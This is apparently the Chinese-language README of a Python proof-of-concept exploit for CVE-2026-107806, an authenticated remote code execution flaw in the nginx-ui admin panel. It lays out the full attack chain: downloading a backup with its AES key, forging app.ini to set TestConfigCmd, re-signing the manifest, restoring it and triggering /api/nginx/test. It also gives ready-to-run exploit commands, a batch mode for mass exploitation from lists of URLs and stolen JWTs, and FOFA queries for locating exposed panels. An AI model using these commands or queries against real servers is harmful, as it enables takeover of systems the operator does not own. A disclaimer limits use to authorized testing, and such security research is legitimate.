
CVE-2026-107806 的 Python PoC:利用 nginx-ui 备份恢复功能覆盖 app.ini,并通过 TestConfigCmd 实现经过身份验证的 RCE。支持 check、exploit 和 batch 模式。
针对 CVE-2026-107806 的 Python 3 PoC —— 0xJacky/nginx-ui —— CWE-94 —— 伪造的便携备份覆盖 app.ini → TestConfigCmd → POST /api/nginx/test。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-107806 |
| 受影响版本 | >= 2.3.8, < 2.5.0 |
| 修复版本 | 2.5.0(commit a467ed6) |
| CVSS 4.0 | 9.4 严重(PR:H —— 需要管理员 JWT) |
| GHSA | GHSA-p393-cf76-4jmr |
| 验证标记 | POCBIT-107806-OK |
与 CVE-2026-42238(安装窗口期未认证恢复)不同;后者在 2.3.8 中已对恢复操作增加认证,但直到 2.5.0 之前,对攻击者提供的 AES 密钥仍存在认证后信任问题。
GET /api/backup —— 下载加密备份;读取 X-Backup-Security(key_b64:iv_b64)。nginx-ui.zip,将 app.ini 修改为 [nginx] TestConfigCmd。manifest.json 哈希,重新签名 manifest.sig(nginx-ui-backup-signing-v1: + AES 密钥)。POST /api/restore —— restore_nginx_ui=true、security_token、恶意 zip。POST /api/nginx/test —— 通过 /bin/sh -c 执行 TestConfigCmd。| 文件 | 用途 |
|---|---|
poc.py | 检查 / 利用 / 批量 |
README.md | 本文档 |
requirements.txt | Python 依赖 |
targets.example.txt | 示例列表格式(在本地复制为 targets.txt) |
不要提交真实的扫描列表、JWT 或结果 JSONL(参见 .gitignore)。
pip install -r requirements.txt
# Fingerprint (no token → install lock only)
python poc.py -u http://127.0.0.1:8080 --mode check
# Version + vuln range (needs admin JWT)
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode check --json
# Full exploit (default cmd: printf marker + id)
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode exploit --insecure
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode exploit --cmd "id 2>&1"
# 2FA admin: add secure session from login response
python poc.py -u http://127.0.0.1:8080 --token '...' --secure-session '...' --mode exploit
# Mass (url|token per line)
python poc.py --list targets.txt --mode exploit -j 5 --insecure
列表格式
https://panel.example
https://panel.example|JWT_HERE
https://panel.example|JWT|SECURE_SESSION_ID
输出: cve_2026_107806_exploit.jsonl、hits.txt、exploited.txt。
登录在 /api/login 上使用加密参数 —— 请从浏览器 DevTools(Application → token / Authorization)或你自己的会话中获取 JWT。
官方验证:Docker uozi/nginx-ui 中的 nginx-ui 2.3.11(在实验环境中固定使用 < 2.5.0 的镜像标签)。仅在你拥有的实例上运行 PoC。
nginx-ui 管理面板(随后通过认证检查确认版本):
title="Nginx UI" || body="nginx-ui" || body="/api/install"
header="Server" && body="Nginx UI"
port="9000" || port="8080"
FOFA 无法证明版本存在漏洞 —— 请使用 --mode check 并配合有效的管理员令牌。
仅限授权测试。
CVE-2026-107806 — nginx-ui 2.3.8–2.4.x auth RCE via forged backup restore (TestConfigCmd). PoCbit PoC: GET /api/backup, tamper app.ini, POST /api/restore, POST /api/nginx/test. check/exploit, batch url|JWT. Fixed 2.5.0. https://pocbit.org/pocs/cve-2026-107806